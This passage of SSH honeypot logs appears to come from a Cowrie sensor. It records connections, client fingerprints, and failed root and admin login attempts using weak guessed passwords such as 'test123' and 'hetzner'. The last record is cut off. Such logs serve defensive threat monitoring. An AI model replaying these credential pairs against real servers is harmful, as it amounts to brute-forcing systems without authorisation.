{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.790312Z","src_ip":"5.182.83.231","session":"b810ae1482f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test123","message":"login attempt [tester/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:27.267434Z","src_ip":"5.182.83.231","session":"b810ae1482f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:28.382039Z","src_ip":"5.182.83.231","session":"b810ae1482f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36086,"dst_ip":"10.17.0.5","dst_port":22,"session":"397a053cb4ba","protocol":"ssh","message":"New connection: 103.122.221.179:36086 (10.17.0.5:22) [session: 397a053cb4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:37.772524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:37.779430Z","src_ip":"103.122.221.179","session":"397a053cb4ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:38.032365Z","src_ip":"103.122.221.179","session":"397a053cb4ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lthgfhjkm","message":"login attempt [root/lthgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:38.791961Z","src_ip":"103.122.221.179","session":"397a053cb4ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:40.048125Z","src_ip":"103.122.221.179","session":"397a053cb4ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":44460,"dst_ip":"159.203.135.109","dst_port":22,"session":"39352d79d3be","protocol":"ssh","message":"New connection: 103.148.100.146:44460 (159.203.135.109:22) [session: 39352d79d3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:54.268727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:54.274156Z","src_ip":"103.148.100.146","session":"39352d79d3be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:55.267059Z","src_ip":"103.148.100.146","session":"39352d79d3be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mani","password":"mani123","message":"login attempt [mani/mani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:56.347865Z","src_ip":"103.148.100.146","session":"39352d79d3be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:57.612244Z","src_ip":"103.148.100.146","session":"39352d79d3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42676,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7034cb53333","protocol":"ssh","message":"New connection: 103.77.175.15:42676 (159.203.135.109:22) [session: a7034cb53333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:03.502455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:03.508081Z","src_ip":"103.77.175.15","session":"a7034cb53333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:03.793898Z","src_ip":"103.77.175.15","session":"a7034cb53333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matros","message":"login attempt [root/matros] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:04.543852Z","src_ip":"103.77.175.15","session":"a7034cb53333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:05.793313Z","src_ip":"103.77.175.15","session":"a7034cb53333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":50552,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d870144e38","protocol":"ssh","message":"New connection: 109.172.54.111:50552 (10.17.0.5:22) [session: f0d870144e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:06.135628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:06.141233Z","src_ip":"109.172.54.111","session":"f0d870144e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:06.241614Z","src_ip":"109.172.54.111","session":"f0d870144e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021987","message":"login attempt [root/20021987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:06.541869Z","src_ip":"109.172.54.111","session":"f0d870144e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:07.644760Z","src_ip":"109.172.54.111","session":"f0d870144e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":24788,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de2bb8ab6da","protocol":"ssh","message":"New connection: 220.247.224.226:24788 (10.17.0.5:22) [session: 7de2bb8ab6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:11.661529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:11.668082Z","src_ip":"220.247.224.226","session":"7de2bb8ab6da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:11.893653Z","src_ip":"220.247.224.226","session":"7de2bb8ab6da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q@W3e$R5t","message":"login attempt [root/1q@W3e$R5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:12.789947Z","src_ip":"220.247.224.226","session":"7de2bb8ab6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:14.025666Z","src_ip":"220.247.224.226","session":"7de2bb8ab6da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26674,"dst_ip":"159.203.135.109","dst_port":22,"session":"9590cb2ed058","protocol":"ssh","message":"New connection: 2.57.121.112:26674 (159.203.135.109:22) [session: 9590cb2ed058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:19.159554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:19.164236Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:19.269742Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05011998","message":"login attempt [admin/05011998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:19.766611Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0501","message":"login attempt [admin/0501] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:20.876202Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0426","message":"login attempt [admin/0426] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:21.985990Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0421","message":"login attempt [admin/0421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:23.094678Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0418","message":"login attempt [admin/0418] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:24.207644Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:25.318268Z","src_ip":"2.57.121.112","session":"9590cb2ed058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":43606,"dst_ip":"159.203.135.109","dst_port":22,"session":"821cce4831d7","protocol":"ssh","message":"New connection: 210.90.155.178:43606 (159.203.135.109:22) [session: 821cce4831d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:29.651740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:29.657048Z","src_ip":"210.90.155.178","session":"821cce4831d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:29.855335Z","src_ip":"210.90.155.178","session":"821cce4831d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hetzner","message":"login attempt [root/hetzner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:30.686426Z","src_ip":"210.90.155.178","session":"821cce4831d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:31.887501Z","src_ip":"210.90.155.178","session":"821cce4831d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":43960,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f868249a440","protocol":"ssh","message":"New connection: 45.114.124.44:43960 (10.17.0.5:22) [session: 3f868249a440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:43.397200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:02:43.402100Z","src_ip":"45.114.124.44","session":"3f868249a440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-